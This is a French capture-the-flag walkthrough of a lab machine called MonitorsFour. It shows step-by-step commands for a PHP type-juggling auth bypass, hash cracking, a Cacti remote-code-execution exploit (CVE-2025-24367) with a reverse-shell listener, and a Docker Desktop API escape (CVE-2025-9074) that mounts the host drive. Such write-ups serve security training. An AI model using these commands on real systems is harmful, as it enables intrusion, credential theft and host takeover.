Passer au contenu

MonitorsFour

OSDifficultyTarget
Windows + DockerMEDIUM10.129.x.x

Informations

AttributValeur
MachineMonitorsFour
OSWindows avec Docker Desktop / WSL2
DifficultéMedium
IP10.129.x.x

Résumé

  1. Enumération web → .env exposé + subdomain cacti
  2. PHP Type Juggling → Bypass auth /user?token=0
  3. Hash MD5 cracké → marcus:REDACTED
  4. CVE-2025-24367 → RCE Cacti → Shell www-data (Docker)
  5. CVE-2025-9074 → Docker API sans auth → Container privilégié
  6. Mount host filesystem → Root flag Windows

Reconnaissance

Scan Nmap

Fenêtre du terminal
nmap -T4 -sC -sV 10.129.x.x
Fenêtre du terminal
PORT STATE SERVICE VERSION
80/tcp open http nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows

Observations :

  • Port 80 : Serveur web Nginx avec redirection vers monitorsfour.htb
  • Port 5985 : WinRM (Windows Remote Management)
  • L’OS est Windows, mais la présence de Nginx suggère une architecture containerisée

Configuration DNS

Fenêtre du terminal
echo "10.129.x.x monitorsfour.htb" >> /etc/hosts

Enumération Web

Découverte de sous-domaines

Fenêtre du terminal
ffuf -u "http://10.129.x.x/" -H "Host: FUZZ.monitorsfour.htb" \
-w /path/to/subdomains-top1million-5000.txt -ac -mc 200,301,302

Résultat : cacti.monitorsfour.htb - Instance Cacti 1.2.28

Enumération des endpoints

Fenêtre du terminal
ffuf -u "http://monitorsfour.htb/FUZZ" -w common.txt -ac -mc 200,301,302

Découvertes importantes :

EndpointDescription
/.envFichier de configuration exposé
/loginPage de connexion
/forgot-passwordReset de mot de passe
/api/v1/authAPI d’authentification
/api/v1/userAPI utilisateur
/api/v1/usersAPI liste utilisateurs

Fichier .env exposé

Fenêtre du terminal
curl -s "http://monitorsfour.htb/.env"
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=**REDACTED**

Exploitation - PHP Type Juggling

Découverte de la vulnérabilité

L’endpoint /api/v1/user demande un paramètre token :

Fenêtre du terminal
curl -s "http://monitorsfour.htb/user"
# {"error":"Missing token parameter"}
curl -s "http://monitorsfour.htb/user?token=test"
# {"error":"Invalid or missing token"}

PHP Loose Comparison Bypass

En PHP, une comparaison “loose” (== au lieu de ===) peut être bypassée avec des “magic values”. Les valeurs comme 0, 0e0, 0e12345 sont traitées comme 0 en notation scientifique.

Fenêtre du terminal
curl -s "http://monitorsfour.htb/user?token=0"

Résultat : Dump complet des utilisateurs avec leurs hash MD5 !

[
{
"id": 2,
"username": "admin",
"email": "[email protected]",
"password": "**REDACTED_HASH**",
"role": "super user",
"name": "Marcus Higgins",
"position": "System Administrator"
},
...
]

Cracking des hash MD5

Fenêtre du terminal
echo "**REDACTED_HASH**" > hashes.txt
hashcat -m 0 hashes.txt rockyou.txt

Résultat : **REDACTED**


Accès Cacti - Credential Reuse

Identification de la version Cacti

Fenêtre du terminal
curl -s "http://cacti.monitorsfour.htb/cacti/" | grep -i version
# Version 1.2.28

Connexion avec les credentials

Le nom “Marcus Higgins” suggère l’username marcus sur Cacti :

  • Username: marcus
  • Password: **REDACTED**

Connexion réussie au panel d’administration Cacti.


RCE via CVE-2025-24367

Description de la vulnérabilité

CVE-2025-24367 (CVSS 7.2) : Une faille dans l’outil RRD de Cacti permet à un attaquant authentifié d’abuser de la fonctionnalité de création de graphes pour écrire des scripts PHP arbitraires dans le webroot.

Exploitation

Fenêtre du terminal
# Cloner le PoC
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
# Terminal 1 : Listener
nc -lvnp 4444
# Terminal 2 : Exploit
cd CVE-2025-24367-Cacti-PoC
sudo python3 exploit.py -u marcus -p **REDACTED** \
-url http://cacti.monitorsfour.htb -i <VOTRE_IP> -l 4444

Résultat : Reverse shell en tant que www-data dans un container Docker.

Fenêtre du terminal
www-data@821fbd6a43fa:~/html/cacti$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

User Flag

Fenêtre du terminal
cat /home/marcus/user.txt

Privilege Escalation - Docker Escape

Identification de l’environnement

Fenêtre du terminal
ls -la /.dockerenv # Confirme qu'on est dans un container
cat /etc/hosts # Révèle la topologie réseau

CVE-2025-9074 - Docker Desktop API Exposure

Docker Desktop 4.44.2 est vulnérable à CVE-2025-9074 : l’API Docker Engine est accessible sans authentification depuis les containers Linux.

Vérification de l’API

Fenêtre du terminal
curl -s http://192.168.65.7:2375/version

L’API répond - elle est accessible !

Création d’un container privilégié

Fenêtre du terminal
# Créer un container avec le filesystem host monté
curl -s -X POST http://192.168.65.7:2375/containers/create \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine:latest",
"Cmd": ["/bin/sh"],
"Tty": true,
"OpenStdin": true,
"HostConfig": {
"Binds": ["/:/host"]
}
}'
# Retourne: {"Id":"CONTAINER_ID","Warnings":[]}
# Démarrer le container
curl -s -X POST http://192.168.65.7:2375/containers/CONTAINER_ID/start

Le système de fichiers Windows est accessible via WSL2 :

Fenêtre du terminal
# Explorer la structure
/host/mnt/host/c/ # Lecteur C: Windows
# Lire le root flag
curl -s -X POST "http://192.168.65.7:2375/containers/CONTAINER_ID/exec" \
-H "Content-Type: application/json" \
-d '{"Cmd":["cat","/host/mnt/host/c/Users/Administrator/Desktop/root.txt"],"AttachStdout":true,"AttachStderr":true}'
# Exécuter l'ID retourné
curl -s -X POST "http://192.168.65.7:2375/exec/EXEC_ID/start" \
-H "Content-Type: application/json" \
-d '{"Detach":false,"Tty":false}'

Conclusion

Chaîne d’attaque

Fenêtre du terminal
1. Enumération web -> .env exposé + subdomain cacti
|
2. PHP Type Juggling -> Bypass auth /user?token=0
|
3. Hash MD5 cracké -> marcus:**REDACTED**
|
4. CVE-2025-24367 -> RCE Cacti -> Shell www-data (Docker)
|
5. CVE-2025-9074 -> Docker API sans auth -> Container privilégié
|
6. Mount host filesystem -> Root flag Windows

Vulnérabilités exploitées

CVENomImpact
N/APHP Type JugglingBypass d’authentification
N/A.env exposéFuite de credentials
CVE-2025-24367Cacti Graph Template RCEExécution de code arbitraire
CVE-2025-9074Docker Desktop API ExposureEscape de container

Leçons apprises

  1. Ne jamais exposer les fichiers de configuration (.env, config.php)
  2. Utiliser des comparaisons strictes en PHP (=== au lieu de ==)
  3. Mettre à jour les applications (Cacti 1.2.28 → 1.2.29+)
  4. Sécuriser l’API Docker - ne jamais l’exposer sans authentification
  5. Principe du moindre privilège - les containers ne devraient pas avoir accès à l’API Docker

Outils utilisés

  • nmap, ffuf - Reconnaissance
  • hashcat - Cracking de hash
  • curl - Exploitation manuelle
  • CVE-2025-24367-Cacti-PoC - Exploit Cacti